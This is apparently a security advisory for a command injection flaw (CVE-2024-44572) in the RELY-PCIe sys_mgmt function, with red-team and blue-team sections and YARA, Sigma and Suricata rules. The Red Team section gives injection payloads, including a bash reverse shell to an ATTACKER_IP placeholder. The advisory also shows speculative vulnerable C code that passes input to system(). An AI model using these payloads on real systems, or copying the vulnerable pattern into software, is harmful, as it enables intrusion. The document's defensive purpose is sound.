CVE-2024-44572

Executive Summary

CVE-2024-44572 is a command injection vulnerability discovered in the RELY-PCIe product, specifically within the sys_mgmt function. This flaw affects versions v22.2.1 through v23.1.0. The vulnerability allows an attacker to inject arbitrary operating system commands via the management interface, potentially leading to full system compromise. The vendor, Rely, has not yet released a patch, and no public proof-of-concept (PoC) code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the critical nature of command injection.

CVSS Breakdown & Threat Level

The CVSS vector is unknown, but based on the nature of the vulnerability (command injection in a management function), a typical score would be in the range of 8.0-9.0 (High to Critical). The attack vector is likely network-based (AV:N), with low attack complexity (AC:L) and no privileges required (PR:N). User interaction is not required (UI:N). The impact on confidentiality, integrity, and availability is high (C:H/I:H/A:H).

Deep Dive & Mechanics

The vulnerability resides in the sys_mgmt function of the RELY-PCIe firmware. This function is responsible for system management tasks, such as configuration changes or status queries. The flaw is a classic command injection (CWE-77), where user-supplied input is not properly sanitized before being passed to a system shell. An attacker can craft a malicious request that includes shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

The RELY-PCIe device is a PCIe-based hardware component used in industrial or embedded systems. The sys_mgmt function likely exposes a network-accessible API or command-line interface. Successful exploitation could allow an attacker to execute commands with the privileges of the vulnerable process, typically root or system-level access.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code likely resembles:

void sys_mgmt(char *user_input) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "system_command %s", user_input);
    system(cmd);
}

A patched version would use input validation and avoid passing user input directly to a shell:

void sys_mgmt(char *user_input) {
    // Validate input: only allow alphanumeric and specific characters
    if (!is_valid_input(user_input)) {
        log_error("Invalid input");
        return;
    }
    // Use execve with a fixed command and sanitized arguments
    char *args[] = {"system_command", user_input, NULL};
    execve("/usr/bin/system_command", args, NULL);
}

Exploitation & Lab Setup

Red Team

Since no public exploit code is available, a red team would need to reverse-engineer the firmware or perform black-box testing. A typical command injection payload might be:

# Example payload to execute 'id' command
; id

Or using a more complex payload to establish a reverse shell:

; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Lab Setup:

1. Obtain a RELY-PCIe device with firmware v22.2.1 to v23.1.0.
2. Connect the device to an isolated network.
3. Identify the management interface (e.g., web UI, CLI, or API).
4. Send crafted requests to the sys_mgmt function with injection payloads.
5. Monitor for command execution (e.g., via outbound connections or file creation).

Blue Team

Blue team detection should focus on monitoring for anomalous command execution and network traffic.

Detection Steps:

1. Monitor logs for unusual system commands executed by the sys_mgmt process.
2. Look for shell metacharacters in management requests (e.g., ;, |, &, $).
3. Implement network segmentation to limit access to the management interface.
4. Use host-based intrusion detection (HIDS) to alert on unexpected process spawns.

Indicators of Compromise (IOCs)

• Network: Outbound connections from the RELY-PCIe device to unknown IP addresses on high ports (e.g., 4444, 8080).
• File System: Unexpected files in /tmp or /var/tmp (e.g., reverse shell scripts).
• Process: Unusual processes like bash, nc, python, or perl spawned by the sys_mgmt process.
• Logs: Entries containing shell metacharacters in the sys_mgmt function logs.

Detection Engineering

YARA Rule

rule CVE_2024_44572_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting RELY-PCIe sys_mgmt function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-44572"
    strings:
        $cmd1 = "; id" ascii wide nocase
        $cmd2 = "| whoami" ascii wide nocase
        $cmd3 = "&& ls" ascii wide nocase
        $cmd4 = "`id`" ascii wide nocase
        $cmd5 = "$(id)" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-44572 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts in RELY-PCIe sys_mgmt function
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        ParentImage|endswith: 'sys_mgmt'
        Image|endswith:
            - '/bin/bash'
            - '/bin/sh'
            - '/usr/bin/nc'
            - '/usr/bin/python'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-44572 Command Injection Attempt"; flow:to_server,established; content:"sys_mgmt"; nocase; content:";"; distance:0; content:"id"; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Since no official patch is available, the following mitigations are recommended:

1. Network Segmentation: Isolate the RELY-PCIe device on a separate management VLAN with strict access controls.
2. Input Validation: If source code access is available, implement input sanitization for the sys_mgmt function.
3. Disable Unused Features: If the sys_mgmt function is not required, disable it via configuration.
4. Monitor Logs: Enable detailed logging and monitor for suspicious activity.
5. Contact Vendor: Reach out to Rely for an official patch or workaround.
6. Firmware Update: Once a patch is released, apply it immediately.

Valters IT